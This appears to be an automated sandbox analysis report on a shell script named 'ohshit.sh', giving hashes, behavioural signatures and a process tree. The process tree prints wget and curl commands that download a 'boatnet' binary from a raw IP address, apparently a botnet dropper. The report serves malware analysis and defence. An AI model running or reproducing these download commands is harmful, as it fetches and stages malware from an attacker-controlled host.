Analysis
-
max time kernel
149s -
max time network
99s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
-
submitted
09-02-2025 16:28
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
f0977aee35c9bf421f707b9bfba5d9f7
-
SHA1
5eacb3c68403f8f9c853f41914f27d5abc8645f5
-
SHA256
f3e6052d4142e5a195e03e65d4a8acd2b7d6e790b6aacbc690ae909e7edb01f6
-
SHA512
3184f088b0188b537c6a9ba0aa037c586d3267f17a11d4e6fbb65745b21dafbf37506e359dae372993fb6e28a06e3749b0b5a382901ac805cce83988772f53d9
Malware Config
Signatures
-
UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
-
/usr/bin/wgetwget http://194.85.251.9/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://194.85.251.9/hiddenbin/boatnet.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
29KB
MD58231c76be6663e62d7d5a8ea685ff498
SHA103177493e6a6d9e3b7aaca572245065ffcfe0575
SHA256c45cbd5ce92e34f62bd3e1e19c36daf662860aac2a22a5d67924788acc71e3bc
SHA5121a8eb5eaf84d38252f4535a2a89aca76fadf7854d218c6bca7ec2521ee485d9bd082e3eeff4ec981abaf0e18afc0eed7415ae656d3080b152fb7b35370caa9ac
-
Filesize
20KB
MD5f457e631805bcc5180e35f86fdfe5bee
SHA19ba2118cb84740118dcb4c26dea4ae8c1945efdf
SHA256694e7df65ea715d5d28420a3bac184b2472f4eb4acb8926991f03eece31a6fb1
SHA512f8d0ca944786af673caf5ce30dc2278e28ee8ec110052f85e3b418080e563f2d86f18f055f3e087691408ff2afc2c68e67cdd75ad461adaaf87a9c7c7720e3b1